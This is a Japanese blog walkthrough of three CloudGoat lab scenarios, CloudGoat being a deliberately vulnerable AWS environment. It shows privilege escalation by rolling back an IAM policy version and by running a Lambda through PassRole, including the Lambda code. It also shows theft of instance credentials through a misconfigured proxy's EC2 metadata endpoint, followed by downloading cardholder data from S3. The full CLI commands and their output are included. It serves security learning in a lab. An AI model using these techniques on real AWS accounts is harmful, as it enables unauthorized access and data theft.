AWSの攻撃体験ツール【Cloudgoat】全シナリオやる(前編)
CloudgoatはRhino Security Labsが開発した、脆弱なAWS環境の構築ツール。
現時点で7つのシナリオが用意されており、攻撃者の立場となって環境を攻撃することでAWSのセキュリティについて学習できます。
インストールは公式サイトや下記記事を参考に行えば良いのですが、現バージョンでは./cloudgoat.py config whitelist --auto
コマンドでエラーとなります。
これを通すためには、./cloudgoat.py config whitelist
コマンドの後、IPアドレスを聞かれるので、自身の外向きIPアドレスを入力するか、
動くようにしたものを私のgithubに置いているのでこちらを利用して頂いても構いません。
git clone -b develop https://github.com/ctf4bba/cloudgoat.git
本記事ではまず3つのシナリオをやってみています。
iam_privesc_by_rollback (Small / Easy)
攻撃者は、ほとんど権限のないIAMユーザーから始め、IAMポリシーの過去のバージョンを確認・リストアし、最終的にfull adminに権限昇格するというシナリオ。
./cloudgoat.py create iam_privesc_by_rollback
でシナリオに必要なリソース等が用意される。
作成されるstart.txtからaccess_key_id
、secret_key
を確認し、raynorのprofileを作成する。
% cat start.txt cloudgoat_output_aws_account_id = 7*********** cloudgoat_output_policy_arn = arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 cloudgoat_output_raynor_access_key_id = A************** cloudgoat_output_raynor_secret_key = l*************************** cloudgoat_output_username = raynor-cgid4gjhu3qs50
aws configure --profile raynor AWS Access Key ID [None]: A************** AWS Secret Access Key [None]: l*************************** Default region name [None]: Default output format [None]:
ここからはiamのコマンドリファレンスを見ながら進める。
iam — AWS CLI 2.1.4 Command Reference
raynorのPolicyArnを確認する。
% aws iam list-attached-user-policies --user-name raynor-cgid4gjhu3qs50 --profile raynor { "AttachedPolicies": [ { "PolicyName": "cg-raynor-policy-cgid4gjhu3qs50", "PolicyArn": "arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50" } ] }
IAMのバージョンを確認すると、v1がデフォルトとして設定されていることがわかった。
% aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --profile raynor { "Versions": [ { "VersionId": "v5", "IsDefaultVersion": false, "CreateDate": "2020-09-13T18:40:24+00:00" }, { "VersionId": "v4", "IsDefaultVersion": false, "CreateDate": "2020-09-13T18:40:24+00:00" }, { "VersionId": "v3", "IsDefaultVersion": false, "CreateDate": "2020-09-13T18:40:24+00:00" }, { "VersionId": "v2", "IsDefaultVersion": false, "CreateDate": "2020-09-13T18:40:24+00:00" }, { "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-09-13T18:40:17+00:00" } ] }
v1を確認してみると、SetDefaultPolicyVersionが許可されている。
% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v1 --profile raynor { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "IAMPrivilegeEscalationByRollback", "Action": [ "iam:Get*", "iam:List*", "iam:SetDefaultPolicyVersion" ], "Effect": "Allow", "Resource": "*" } ] }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-09-13T18:40:17+00:00" } }
v2を見てみると、フル権限があるようだ。
% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v2 --profile raynor { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Action": "*", "Effect": "Allow", "Resource": "*" } ] }, "VersionId": "v2", "IsDefaultVersion": false, "CreateDate": "2020-09-13T18:40:24+00:00" } }
デフォルトバージョンを変更し、ポリシーをロールバックする。
% aws iam set-default-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-raynor-policy-cgid4gjhu3qs50 --version-id v2 --profile raynor
これでフル権限を奪取できた。
試しにVPCを作成してみる。権限昇格前は拒否されていたのが、
% aws ec2 create-vpc --cidr-block 192.168.0.0/23 --profile raynor An error occurred (UnauthorizedOperation) when calling the CreateVpc operation: You are not authorized to perform this operation.
権限昇格後は作成できるようになっている。
% aws ec2 create-vpc --cidr-block 192.168.0.0/23 --profile raynor { "Vpc": { "CidrBlock": "192.168.0.0/23", (snip) } }
lambda_privesc (Small / Easy)
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/lambda_privesc/README.md
LambdaアクセスとPassRole権限を持つロールを引き受け、Lambdaの実行を通してAdministratorに権限昇格するシナリオ。
まずは./cloudgoat.py create lambda_privesc
でリソース等の準備をする。
profileを作成。
% aws configure --profile chris AWS Access Key ID [None]: A******************* AWS Secret Access Key [None]: E*************************************** Default region name [None]: ap-northeast-1 Default output format [None]:
ユーザ名の確認。
% aws iam get-user --profile chris { "User": { "Path": "/", "UserName": "chris-cgidsjgwdtt0wa", "UserId": "A*******************", "Arn": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa", "CreateDate": "2020-10-19T03:13:32+00:00", "Tags": [ { "Key": "Name", "Value": "cg-chris-cgidsjgwdtt0wa" }, { "Key": "Scenario", "Value": "lambda-privesc" }, { "Key": "Stack", "Value": "CloudGoat" } ] } }
ポリシーの確認。
% aws iam list-attached-user-policies --user-name chris-cgidsjgwdtt0wa --profile chris { "AttachedPolicies": [ { "PolicyName": "cg-chris-policy-cgidsjgwdtt0wa", "PolicyArn": "arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa" } ] }
% aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa --profile chris { "Versions": [ { "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-10-19T03:13:32+00:00" } ] }
% aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa --version-id v1 --profile chris { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "chris", "Effect": "Allow", "Action": [ "sts:AssumeRole", "iam:List*", "iam:Get*" ], "Resource": "*" } ] }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-10-19T03:13:32+00:00" } }
sts:AssumeRole
が許可されている。
stsはSecurity Token Serivceのことで、これはロールの引き受け(一時的にそのロールの権限を持つこと)を可能にするコマンド。
早速roleを見てみる。
% aws iam list-roles --profile chris (snip) { "Path": "/", "RoleName": "cg-debug-role-cgidsjgwdtt0wa", "RoleId": "A*******************", "Arn": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa", "CreateDate": "2020-10-19T03:13:32+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "", "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600 }, { "Path": "/", "RoleName": "cg-lambdaManager-role-cgidsjgwdtt0wa", "RoleId": "A*******************", "Arn": "arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa", "CreateDate": "2020-10-19T03:13:40+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600 } ] }
使えそうなロールが2つある。
% aws iam get-role --role-name cg-debug-role-cgidsjgwdtt0wa --profile chris { "Role": { "Path": "/", "RoleName": "cg-debug-role-cgidsjgwdtt0wa", "RoleId": "A*******************", "Arn": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa", "CreateDate": "2020-10-19T03:13:32+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "", "Effect": "Allow", "Principal": { "Service": "lambda.amazonaws.com" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600, "Tags": [ { "Key": "Name", "Value": "cg-debug-role-cgidsjgwdtt0wa" }, { "Key": "Scenario", "Value": "lambda-privesc" }, { "Key": "Stack", "Value": "CloudGoat" } ], "RoleLastUsed": {} } } % aws iam get-role --role-name cg-lambdaManager-role-cgidsjgwdtt0wa --profile chris { "Role": { "Path": "/", "RoleName": "cg-lambdaManager-role-cgidsjgwdtt0wa", "RoleId": "A*******************", "Arn": "arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa", "CreateDate": "2020-10-19T03:13:40+00:00", "AssumeRolePolicyDocument": { "Version": "2012-10-17", "Statement": [ { "Sid": "", "Effect": "Allow", "Principal": { "AWS": "arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa" }, "Action": "sts:AssumeRole" } ] }, "MaxSessionDuration": 3600, "Tags": [ { "Key": "Name", "Value": "cg-debug-role-cgidsjgwdtt0wa" }, { "Key": "Stack", "Value": "CloudGoat" }, { "Key": "Scenario", "Value": "lambda-privesc" } ], "RoleLastUsed": {} } }
debugロールのprincipalにはlambdaが、lambdaManagerのprincipalにはchrisが設定されている。
AWS JSON ポリシーの要素: Principal - AWS Identity and Access Management
なお、principalはロールの引き受けが可能なIAMエンティティを定義している。
各ロールにインラインポリシーはなかったので(list-role-policies
で確認)、ロールにアタッチされた管理ポリシーを確認。
まずはlambdaManager。
% aws iam list-attached-role-policies --role-name cg-lambdaManager-role-cgidsjgwdtt0wa --profile chris { "AttachedPolicies": [ { "PolicyName": "cg-lambdaManager-policy-cgidsjgwdtt0wa", "PolicyArn": "arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa" } ] } % aws iam list-policy-versions --policy-arn arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa --profile chris { "Versions": [ { "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-10-19T03:13:32+00:00" } ] } % aws iam get-policy-version --policy-arn arn:aws:iam::7***********:policy/cg-lambdaManager-policy-cgidsjgwdtt0wa --version-id v1 --profile chris { "PolicyVersion": { "Document": { "Version": "2012-10-17", "Statement": [ { "Sid": "lambdaManager", "Effect": "Allow", "Action": [ "lambda:*", "iam:PassRole" ], "Resource": "*" } ] }, "VersionId": "v1", "IsDefaultVersion": true, "CreateDate": "2020-10-19T03:13:32+00:00" } }
次にdebug。
% aws iam list-attached-role-policies --role-name cg-debug-role-cgidsjgwdtt0wa --profile chris { "AttachedPolicies": [ { "PolicyName": "AdministratorAccess", "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess" } ] }
lambdaManagerには、lambdaの実行権限とPassRoleがあり、debugロールの方にAdministratorAccessが付いている。
前述の通り、debugロールは直接Assumeすることはできず、lambdaの実行ロールとしてしか使えない。
% aws sts assume-role --role-arn arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa --role-session-name debug --profile chris An error occurred (AccessDenied) when calling the AssumeRole operation: User: arn:aws:iam::7***********:user/chris-cgidsjgwdtt0wa is not authorized to perform: sts:AssumeRole on resource: arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa
ので、chris -> lambdaManagerをAssumeRole -> debugロールでlambdaを実行 -> admin権限をchrisに付与、の方針とする。
まず、lambdaManagerをAssumeRoleする。
% aws sts assume-role --role-arn arn:aws:iam::7***********:role/cg-lambdaManager-role-cgidsjgwdtt0wa --role-session-name lambdaManager --profile chris { "Credentials": { "AccessKeyId": "A*******************", "SecretAccessKey": "6***************************************", "SessionToken": "(snip)", "Expiration": "2020-10-21T03:22:46+00:00" }, "AssumedRoleUser": { "AssumedRoleId": "A*******************:lambdaManager", "Arn": "arn:aws:sts::7***********:assumed-role/cg-lambdaManager-role-cgidsjgwdtt0wa/lambdaManager" } }
発行された一時的な権限を~/.aws/credentials
と~/.aws/config
に書き込む。
[lambdaManager] aws_access_key_id = A******************* aws_secret_access_key = 6*************************************** aws_session_token = (snip)
[profile lambdaManager] region = ap-northeast-1
AWS IAM Privilege Escalation – Methods and Mitigation
こちらを参考にlambdaのコードを書く。
import boto3 def lambda_handler(event, context): client = boto3.client('iam') response = client.attach_user_policy( UserName = 'chris-cgidsjgwdtt0wa', PolicyArn = 'arn:aws:iam::aws:policy/AdministratorAccess' ) return response
コードをzipファイルにして、lambdaを実行する。
lambdaを使ったことがなかったのでちょっとハマったが、handlerにはファイル名.関数名、zip-fileにはファイルパスの前にfileb://を付ける。
% zip function.zip lambda_function.py adding: lambda_function.py (deflated 27%) % aws lambda create-function --function-name privesc --runtime python3.6 --role arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa --handler lambda_function.lambda_handler --zip-file fileb:///path/to/function.zip --profile lambdaManager { "FunctionName": "privesc", "FunctionArn": "arn:aws:lambda:ap-northeast-1:7***********:function:privesc", "Runtime": "python3.6", "Role": "arn:aws:iam::7***********:role/cg-debug-role-cgidsjgwdtt0wa", "Handler": "lambda_function.lambda_handler", "CodeSize": 360, "Description": "", "Timeout": 3, "MemorySize": 128, "LastModified": "2020-10-21T04:24:20.327+0000", "CodeSha256": "P/r+N6lR6BgjoJNxfrkcmmNZ7EtsUJUe3OYOr6AByHc=", "Version": "$LATEST", "TracingConfig": { "Mode": "PassThrough" }, "RevisionId": "8748a0af-02b2-41bd-ac4b-453de15e8498", "State": "Active", "LastUpdateStatus": "Successful" } % aws lambda invoke --function-name privesc output.txt --profile lambdaManager { "StatusCode": 200, "ExecutedVersion": "$LATEST" }
chrisにadmin権限を付けることができた。
% aws iam list-attached-user-policies --user-name chris-cgidsjgwdtt0wa --profile chris { "AttachedPolicies": [ { "PolicyName": "cg-chris-policy-cgidsjgwdtt0wa", "PolicyArn": "arn:aws:iam::7***********:policy/cg-chris-policy-cgidsjgwdtt0wa" }, { "PolicyName": "AdministratorAccess", "PolicyArn": "arn:aws:iam::aws:policy/AdministratorAccess" } ] }
cloud_breach_s3
https://github.com/RhinoSecurityLabs/cloudgoat/blob/master/scenarios/cloud_breach_s3/README.md
誤って設定されたリバースプロキシサーバを悪用して、EC2のメタデータにアクセスし、インスタンスのプロファイルキーを取得する。そして、そのキーを利用してs3バケットから機密データを入手するというシナリオ。
まずは与えられたIPにアクセスしてみる。
% curl http://52.**.**.**/ <h1>This server is configured to proxy requests to the EC2 metadata service. Please modify your request's 'host' header and try again.</h1>
なんとも親切なメッセージが表示される。hostヘッダをメタデータ取得のためのIPに変更してみる。
[小ネタ] EC2インスタンスメタデータを簡単に確認する | Developers.IO
169.254.169.254
はインスタンスからアクセス可能な特別なIPアドレスで、インスタンスに関わるメタデータが取れる。
% curl http://52.**.**.**/latest/meta-data -H "host: 169.254.169.254" ami-id ami-launch-index ami-manifest-path block-device-mapping/ events/ hibernation/ hostname iam/ identity-credentials/ instance-action instance-id instance-life-cycle instance-type local-hostname local-ipv4 mac metrics/ network/ placement/ profile public-hostname public-ipv4 public-keys/ reservation-id security-groups services/%
% curl http://52.**.**.**/latest/meta-data/iam/security-credentials -H "host: 169.254.169.254" cg-banking-WAF-Role-cgidnq7cedovmz % curl http://52.**.**.**/latest/meta-data/iam/security-credentials/cg-banking-WAF-Role-cgidnq7cedovmz -H "host: 169.254.169.254" { "Code" : "Success", "LastUpdated" : "2020-10-21T08:49:49Z", "Type" : "AWS-HMAC", "AccessKeyId" : "A*******************", "SecretAccessKey" : "w***************************************", "Token" : "(snip)", "Expiration" : "2020-10-21T14:56:03Z" }
これを~/.aws/credentials
に書き込み~/.aws/config
にprofileを設定して、s3を見てみる。
% aws s3 ls --profile banking-WAF 2020-10-21 17:03:25 cg-cardholder-data-bucket-cgidnq7cedovmz % aws s3 ls s3://cg-cardholder-data-bucket-cgidnq7cedovmz --profile banking-WAF 2020-10-21 17:03:39 58872 cardholder_data_primary.csv 2020-10-21 17:03:39 59384 cardholder_data_secondary.csv 2020-10-21 17:03:40 92165 cardholders_corporate.csv 2020-10-21 17:03:41 249500 goat.png % aws s3 sync s3://cg-cardholder-data-bucket-cgidnq7cedovmz . --profile banking-WAF download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholder_data_primary.csv to ./cardholder_data_primary.csv download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholder_data_secondary.csv to ./cardholder_data_secondary.csv download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/goat.png to ./goat.png download: s3://cg-cardholder-data-bucket-cgidnq7cedovmz/cardholders_corporate.csv to ./cardholders_corporate.csv
機密データっぽいファイルが取れた。